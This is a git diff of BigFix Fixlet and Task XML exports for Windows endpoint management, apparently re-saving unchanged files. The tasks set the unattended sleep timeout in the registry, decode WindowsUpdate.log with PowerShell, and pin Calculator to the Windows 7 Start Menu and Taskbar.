-//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\a1841308-3541-4fab-bc81-f71556f20b4a]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
-//set for any power profile that needs altered, only if it needs altered.
-continue if{exists keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry}
-regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\{(preceding text of first "," of (it & ",") of concatenation "," of names of keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry)}]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
-]]></ActionScript>
-      <SuccessCriteria Option="CustomRelevance">(parameter &quot;numOfValuesToChange&quot; of action as integer) = (number of values &quot;AcSettingIndex&quot; of keys whose(exists values &quot;AcSettingIndex&quot; of it AND (parameter &quot;secToWaitAfterWakeUpUnattended&quot; of action as integer) != value &quot;AcSettingIndex&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues&quot; of native registry)</SuccessCriteria>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7/8 - altered to set defaults to 35min - testing
+  ID       : 1419
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-03-21T10:30:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7/8 - altered to set defaults to 35min - testing</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>By default, systems on standby that are&nbsp;woken by&nbsp;a Wake-on-LAN or Wake-from-Standby event will go back to sleep in two minutes if the system does not receive any user input. This may cause a condition called "PC Narcolepsy" where the computer will fall back asleep before tasks can be run on that system.</P>
+<P>Use this Fixlet to configure the amount of time&nbsp;the system will stay&nbsp;awake after recieving a&nbsp;Wake-on-LAN or Wake-from-Standby event on Windows Vista, 7 and 8 systems. This setting is called the "System Unattended Sleep Timeout".</P>
+<P><STRONG>Note:</STRONG> This task only changes the System Unattended Sleep Timeout setting on the current power profile. If the power profile is changed, this task may need to be reapplied.</P></TD></TR></TBODY></TABLE>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win8&quot;) of name of operating system</Relevance>
+    <Relevance>exists keys whose(exists values &quot;AcSettingIndex&quot; of it AND (35*60) != value &quot;AcSettingIndex&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues&quot; of native registry</Relevance>
+    <Category>Standby Behavior</Category>
+    <Source>jgs194</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 29 Mar 2011 23:24:21 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>Manage_Standby_Behavior</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 21 Mar 2013 15:32:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action1664">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to change the System Unattended Sleep Timeout setting on the current power profile. You will be prompted for the number of minutes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// 35*60 represents waiting 35min because the setting is in number of seconds.
+// This must be the same as in the relevance.
+parameter "secToWaitAfterWakeUpUnattended" = "{(35*60) as string}"
+parameter "numOfValuesToChange" = "{number of values "AcSettingIndex" of keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry}"
+// sanity check, must be between 2 and 1440 min. The setting is often 0 for servers since they never sleep.
+continue if {parameter "secToWaitAfterWakeUpUnattended" of action as integer >= (2*60) AND parameter "secToWaitAfterWakeUpUnattended" of action as integer <= (1440*60)}
+//set for balanced
+//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\381b4222-f694-41f0-9685-ff5bb260df2e]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+//set for high performance
+//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+//set for power saver
+//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\a1841308-3541-4fab-bc81-f71556f20b4a]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+//set for any power profile that needs altered, only if it needs altered.
+continue if{exists keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry}
+regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\{(preceding text of first "," of (it & ",") of concatenation "," of names of keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry)}]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance">(parameter &quot;numOfValuesToChange&quot; of action as integer) = (number of values &quot;AcSettingIndex&quot; of keys whose(exists values &quot;AcSettingIndex&quot; of it AND (parameter &quot;secToWaitAfterWakeUpUnattended&quot; of action as integer) != value &quot;AcSettingIndex&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues&quot; of native registry)</SuccessCriteria>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes b/Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes
index efda3f710..134b3c01e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING
-  ID       : 10608
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-03-29T13:52:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry)</Relevance>
-    <Relevance>exists lines containing &quot;Get-WindowsUpdateLog PowerShell&quot; of files &quot;WindowsUpdate.log&quot; of windows folders</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2016-03-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 29 Mar 2016 20:34:08 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-parameter &quot;LogLocation&quot; = &quot;{ pathname of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients }&quot;
-
-parameter &quot;SymLocation&quot; = &quot;{ pathname of items 1 of it whose(item 0 of it = maximum of modification times of files &quot;wuapi.mof&quot; of item 1 of it) of (it, folders &quot;WindowsUpdateLog\SymCache&quot; of ( folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot; ) ) of maximum of modification times of files &quot;wuapi.mof&quot; of folders &quot;WindowsUpdateLog\SymCache&quot; of ( folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot; ) }&quot;
-
-// https://technet.microsoft.com/en-us/library/mt238376.aspx
-// http://powershell-guru.com/dont-19-use-double-quotes-escape-characters/
-// https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588(v=vs.85).aspx#symbol_servers
-waithidden powershell -ExecutionPolicy Bypass -command &quot;Get-WindowsUpdateLog -SymbolServer &apos;{ parameter &quot;SymLocation&quot; }&apos; -LogPath &apos;{ parameter &quot;LogLocation&quot; }\WindowsUpdate.log&apos;&quot;
-
-// http://answers.microsoft.com/en-us/windows/forum/windows_10-update/windowsupdatelog-unreadable/2e6b05ed-ac91-4186-a362-c6b5a7e42911?auth=1
-// It seems like you can specify a folder for -SymbolServer :
-// Get-WindowsUpdateLog -SymbolServer C:\Users\user\Documents\MySymbols
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING
+  ID       : 10608
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-29T13:52:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry)</Relevance>
+    <Relevance>exists lines containing &quot;Get-WindowsUpdateLog PowerShell&quot; of files &quot;WindowsUpdate.log&quot; of windows folders</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-03-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Mar 2016 20:34:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+parameter &quot;LogLocation&quot; = &quot;{ pathname of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients }&quot;
+
+parameter &quot;SymLocation&quot; = &quot;{ pathname of items 1 of it whose(item 0 of it = maximum of modification times of files &quot;wuapi.mof&quot; of item 1 of it) of (it, folders &quot;WindowsUpdateLog\SymCache&quot; of ( folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot; ) ) of maximum of modification times of files &quot;wuapi.mof&quot; of folders &quot;WindowsUpdateLog\SymCache&quot; of ( folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot; ) }&quot;
+
+// https://technet.microsoft.com/en-us/library/mt238376.aspx
+// http://powershell-guru.com/dont-19-use-double-quotes-escape-characters/
+// https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588(v=vs.85).aspx#symbol_servers
+waithidden powershell -ExecutionPolicy Bypass -command &quot;Get-WindowsUpdateLog -SymbolServer &apos;{ parameter &quot;SymLocation&quot; }&apos; -LogPath &apos;{ parameter &quot;LogLocation&quot; }\WindowsUpdate.log&apos;&quot;
+
+// http://answers.microsoft.com/en-us/windows/forum/windows_10-update/windowsupdatelog-unreadable/2e6b05ed-ac91-4186-a362-c6b5a7e42911?auth=1
+// It seems like you can specify a folder for -SymbolServer :
+// Get-WindowsUpdateLog -SymbolServer C:\Users\user\Documents\MySymbols
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes
index 8e05ea44e..9363da5b2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes	
@@ -1,79 +1,79 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Pin Calc to Windows 7 Start Menu
-  ID       : 677
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-11-30T10:58:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Pin Calc to Windows 7 Start Menu</Title>
-    <Description>Pin the calculator to a Windows 7 Start Menu</Description>
-    <Relevance>name of operating system contains &quot;Win7&quot;</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 30 Nov 2012 16:55:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[prefetch RunAsCurrentUser-2.0.3.1.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe
-delete pin.vbs
-delete __createfile
-createfile until end
-Const CSIDL_COMMON_PROGRAMS = &H17
-Const CSIDL_PROGRAMS = &H2
-Set objShell = CreateObject("Shell.Application")
-Set objAllUsersProgramsFolder = objShell.NameSpace(CSIDL_COMMON_PROGRAMS)
-strAllUsersProgramsPath = objAllUsersProgramsFolder.Self.Path
-Set objFolder = objShell.Namespace(strAllUsersProgramsPath & "\Accessories")
-Set objFolderItem = objFolder.ParseName("Calculator.lnk")
-Set colVerbs = objFolderItem.Verbs
-For Each objVerb in colVerbs
-    If Replace(objVerb.name, "&", "") = "Pin to Start Menu" Then objVerb.DoIt
-Next
-end
-move __createfile pin.vbs
-//waithidden cmd.exe /c cscript.exe pin.vbs
-waithidden __Download\RunAsCurrentUser-2.0.3.1.exe --w --q cmd.exe /c cscript.exe pin.vbs]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action934">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=438512&tstart=30]]></ActionScript>
-    </Action>
-    <Action ID="Action935">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read more about silent pinning.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://blogs.technet.com/b/deploymentguys/archive/2009/04/08/pin-items-to-the-start-menu-or-windows-7-taskbar-via-script.aspx</ActionScript>
-    </Action>
-    <Action ID="Action936">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read more about RunAsCurrentUser utility.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www-01.ibm.com/support/docview.wss?uid=swg21506033</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Pin Calc to Windows 7 Start Menu
+  ID       : 677
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-30T10:58:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Pin Calc to Windows 7 Start Menu</Title>
+    <Description>Pin the calculator to a Windows 7 Start Menu</Description>
+    <Relevance>name of operating system contains &quot;Win7&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2012 16:55:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[prefetch RunAsCurrentUser-2.0.3.1.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe
+delete pin.vbs
+delete __createfile
+createfile until end
+Const CSIDL_COMMON_PROGRAMS = &H17
+Const CSIDL_PROGRAMS = &H2
+Set objShell = CreateObject("Shell.Application")
+Set objAllUsersProgramsFolder = objShell.NameSpace(CSIDL_COMMON_PROGRAMS)
+strAllUsersProgramsPath = objAllUsersProgramsFolder.Self.Path
+Set objFolder = objShell.Namespace(strAllUsersProgramsPath & "\Accessories")
+Set objFolderItem = objFolder.ParseName("Calculator.lnk")
+Set colVerbs = objFolderItem.Verbs
+For Each objVerb in colVerbs
+    If Replace(objVerb.name, "&", "") = "Pin to Start Menu" Then objVerb.DoIt
+Next
+end
+move __createfile pin.vbs
+//waithidden cmd.exe /c cscript.exe pin.vbs
+waithidden __Download\RunAsCurrentUser-2.0.3.1.exe --w --q cmd.exe /c cscript.exe pin.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action934">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=438512&tstart=30]]></ActionScript>
+    </Action>
+    <Action ID="Action935">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about silent pinning.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://blogs.technet.com/b/deploymentguys/archive/2009/04/08/pin-items-to-the-start-menu-or-windows-7-taskbar-via-script.aspx</ActionScript>
+    </Action>
+    <Action ID="Action936">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more about RunAsCurrentUser utility.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www-01.ibm.com/support/docview.wss?uid=swg21506033</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes
index 4d169addf..bc415b884 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes	
@@ -1,79 +1,79 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Pin Calc to Windows 7 Taskbar
-  ID       : 678
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-11-30T10:58:43
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Pin Calc to Windows 7 Taskbar</Title>
-    <Description>Pin the calculator to a Windows 7 Taskbar</Description>
-    <Relevance>name of operating system contains &quot;Win7&quot;</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 30 Nov 2012 16:56:27 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[prefetch RunAsCurrentUser-2.0.3.1.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe
-delete pin.vbs
-delete __createfile
-createfile until end
-Const CSIDL_COMMON_PROGRAMS = &H17
-Const CSIDL_PROGRAMS = &H2
-Set objShell = CreateObject("Shell.Application")
-Set objAllUsersProgramsFolder = objShell.NameSpace(CSIDL_COMMON_PROGRAMS)
-strAllUsersProgramsPath = objAllUsersProgramsFolder.Self.Path
-Set objFolder = objShell.Namespace(strAllUsersProgramsPath & "\Accessories")
-Set objFolderItem = objFolder.ParseName("Calculator.lnk")
-Set colVerbs = objFolderItem.Verbs
-For Each objVerb in colVerbs
-    If Replace(objVerb.name, "&", "") = "Pin to Taskbar" Then objVerb.DoIt
-Next
-end
-move __createfile pin.vbs
-//waithidden cmd.exe /c cscript.exe pin.vbs
-waithidden __Download\RunAsCurrentUser-2.0.3.1.exe --w --q cmd.exe /c cscript.exe pin.vbs]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action934">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=438512&tstart=30]]></ActionScript>
-    </Action>
-    <Action ID="Action935">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read more about silent pinning.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://blogs.technet.com/b/deploymentguys/archive/2009/04/08/pin-items-to-the-start-menu-or-windows-7-taskbar-via-script.aspx</ActionScript>
-    </Action>
-    <Action ID="Action936">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read more about RunAsCurrentUser utility.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www-01.ibm.com/support/docview.wss?uid=swg21506033</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Pin Calc to Windows 7 Taskbar
+  ID       : 678
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-30T10:58:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Pin Calc to Windows 7 Taskbar</Title>
+    <Description>Pin the calculator to a Windows 7 Taskbar</Description>
+    <Relevance>name of operating system contains &quot;Win7&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2012 16:56:27 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[prefetch RunAsCurrentUser-2.0.3.1.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe
+delete pin.vbs
+delete __createfile
+createfile until end
+Const CSIDL_COMMON_PROGRAMS = &H17
+Const CSIDL_PROGRAMS = &H2
+Set objShell = CreateObject("Shell.Application")
+Set objAllUsersProgramsFolder = objShell.NameSpace(CSIDL_COMMON_PROGRAMS)
+strAllUsersProgramsPath = objAllUsersProgramsFolder.Self.Path
+Set objFolder = objShell.Namespace(strAllUsersProgramsPath & "\Accessories")
+Set objFolderItem = objFolder.ParseName("Calculator.lnk")
+Set colVerbs = objFolderItem.Verbs
+For Each objVerb in colVerbs
+    If Replace(objVerb.name, "&", "") = "Pin to Taskbar" Then objVerb.DoIt
+Next
+end
+move __createfile pin.vbs
+//waithidden cmd.exe /c cscript.exe pin.vbs
